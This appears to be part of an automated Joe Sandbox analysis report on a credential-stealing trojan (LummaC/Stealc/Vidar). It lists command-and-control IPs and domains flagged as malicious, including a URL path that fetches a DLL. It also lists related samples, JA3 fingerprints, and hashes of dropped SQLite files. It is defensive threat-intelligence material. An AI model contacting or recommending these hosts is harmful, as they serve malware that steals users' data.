https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	RegAsm.exe, 00000002.00000002.2340395451.0000000000EA0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2340395451.0000000000F5A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000F.00000002.2782993650.00000000277AF000.00000004.00000020.00020000.00000000.sdmp, DGCAAFBFBKFIDGDHJDBK.15.dr	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736	RegAsm.exe, 0000000F.00000002.2763045880.000000000144A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://46.8.231.109/1309cdeb8f4c8736/sqlite3.dlly	RegAsm.exe, 0000000F.00000002.2763045880.00000000014AA000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://store.steampowered.com/mobile	RegAsm.exe, 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2740659135.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2589447441.00000000011D2000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[2].htm.12.dr, 76561199780418869[1].htm.27.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
49.12.197.9	unknown	Germany	24940	HETZNER-ASDE	true
23.67.133.187	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.17.174	absorptioniw.site	United States	13335	CLOUDFLARENETUS	true
104.21.21.3	mysterisop.site	United States	13335	CLOUDFLARENETUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true
104.21.77.132	questionsmw.store	United States	13335	CLOUDFLARENETUS	true
104.21.18.193	snarlypagowo.site	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	soldiefieop.site	European Union	13335	CLOUDFLARENETUS	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
172.67.152.190	abnomalrkmu.site	United States	13335	CLOUDFLARENETUS	true
104.21.16.12	gravvitywio.store	United States	13335	CLOUDFLARENETUS	true
172.67.184.196	treatynreit.site	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1523816
Start date and time:	2024-10-02 05:18:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@40/58@14/14
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 98 Number of non-executed functions: 221
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:19:22	API Interceptor	6x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
49.12.197.9	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treatynreit.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.84.18
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.84.18
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.184.196
	file.exe	Get hash	malicious	LummaC	Browse	104.21.84.18
snarlypagowo.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.18.193
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.183.74
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.183.74
	file.exe	Get hash	malicious	LummaC	Browse	104.21.18.193
mysterisop.site	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.195.67
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.21.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.195.67
	file.exe	Get hash	malicious	LummaC	Browse	104.21.21.3
questionsmw.store	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.77.132
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.77.132
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.77.132
	file.exe	Get hash	malicious	LummaC	Browse	104.21.77.132
steamcommunity.com	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	https://finalstepgetshere.com/uploads/beta111.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ZJh3V10O2e.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	ZJh3V10O2e.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tomarket_app.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	tomarket_app.exe	Get hash	malicious	LummaC	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109
HETZNER-ASDE	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	http://detection.fyi	Get hash	malicious	NetSupport RAT, Lsass Dumper, Mimikatz, Nukesped, Quasar, Trickbot, Xmrig	Browse	135.181.83.222
	OXrZ6fj4Hq.exe	Get hash	malicious	Neshta, Oski Stealer, StormKitty, SugarDump, Vidar, XWorm	Browse	95.216.117.204
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	Pedido09669281099195.com.exe	Get hash	malicious	DarkTortilla, Quasar	Browse	195.201.57.90
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	SecuriteInfo.com.Win32.Evo-gen.9961.31304.exe	Get hash	malicious	Unknown	Browse	188.40.187.174
	SecuriteInfo.com.Win32.Evo-gen.9961.31304.exe	Get hash	malicious	Unknown	Browse	188.40.187.174
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
AKAMAI-ASN1EU	iJEK0xwucj.vbs	Get hash	malicious	Unknown	Browse	172.232.184.131
	https://www.evernote.com/shard/s683/sh/202c4f3c-3650-93fd-8370-eaca4fc7cbbc/9PDECUYIIdOn7uDMCJfJSDfeqawh-oxMdulb3egg-jZJLZIoB686GWk5jg	Get hash	malicious	HTMLPhisher	Browse	95.101.148.20
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	https://app.glorify.com/file/1193241?format=90	Get hash	malicious	HTMLPhisher	Browse	172.233.121.253
	https://sharing.clickup.com/9011385758/t/h/868a15nvk/VTTN7SYFPHZE3IT	Get hash	malicious	HTMLPhisher	Browse	172.233.46.10
	vFjfAgq5PM.msi	Get hash	malicious	Amadey	Browse	2.16.62.200
	https://wetransfer.com/downloads/fc718a7028ccd1e273879a61c0883fe420241001145250/8110e2eb5f5a56cc2015d1b3243d9b3120241001145309/33d289?trk=TRN_TDL_01&utm_campaign=TRN_TDL_01&utm_medium=email&utm_source=sendgrid	Get hash	malicious	HTMLPhisher	Browse	2.16.238.25
	m6Y6Kh9Bwy.dll	Get hash	malicious	Unknown	Browse	172.234.250.134
	i3VUv6lXnE.exe	Get hash	malicious	Unknown	Browse	172.234.250.134
	N37e46ORr5.exe	Get hash	malicious	Metasploit, Meterpreter	Browse	172.234.120.150

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	6JA2YPtbeB.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	hTR7xY0d0V.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	N83LFtMTUS.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	5FF7.dll.dll	Get hash	malicious	Unknown	Browse	49.12.197.9
	5FF7.dll.dll	Get hash	malicious	Unknown	Browse	49.12.197.9
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	49.12.197.9
	bind.aspx.exe	Get hash	malicious	Vidar	Browse	49.12.197.9
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	file.exe	Get hash	malicious	SmokeLoader	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	Google_Chrome.exe	Get hash	malicious	LummaC	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	https://finalstepgetshere.com/uploads/beta111.zip	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	file.exe	Get hash	malicious	LummaC	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	test.xlsm	Get hash	malicious	Unknown	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	ZJh3V10O2e.exe	Get hash	malicious	LummaC	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
	ZJh3V10O2e.exe	Get hash	malicious	LummaC	Browse	104.21.18.193 188.114.97.3 104.21.17.174 104.21.21.3 104.102.49.254 172.67.152.190 104.21.16.12 172.67.184.196 104.21.77.132
37f463bf4616ecd445d4a1937da06e19	setup.ic19.exe	Get hash	malicious	GhostRat, Nitol	Browse	23.67.133.187 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187 104.102.49.254
	Enclosed_PO4376630092024_Request_Specifications_Drawings_jpg.exe	Get hash	malicious	Remcos, GuLoader	Browse	23.67.133.187 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.67.133.187 104.102.49.254
	Version.130.2482.15.js	Get hash	malicious	Unknown	Browse	23.67.133.187 104.102.49.254
	Shipping documents 000288488599900.img	Get hash	malicious	GuLoader	Browse	23.67.133.187 104.102.49.254
	Passport and card.vbs	Get hash	malicious	Unknown	Browse	23.67.133.187 104.102.49.254
	r20240913TRANSFERENCIA.vbs	Get hash	malicious	GuLoader	Browse	23.67.133.187 104.102.49.254
	app__v7.3.5_.msi	Get hash	malicious	Unknown	Browse	23.67.133.187 104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\GDBFCGIIIJ.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
C:\ProgramData\IIJKJDAFHJ.exe	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AEGIJKEHCAKF\JECAEH

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AEGIJKEHCAKF\JKEHII

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AFBFHDBKJEGHJJJKFIIJEBGIJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\AFCAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\AKFHDB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\BAFIEG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\BAFIEG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\BGIJJK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\CFIECB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\FHIDAF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGIJEHIIDGC\FHIDAF-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
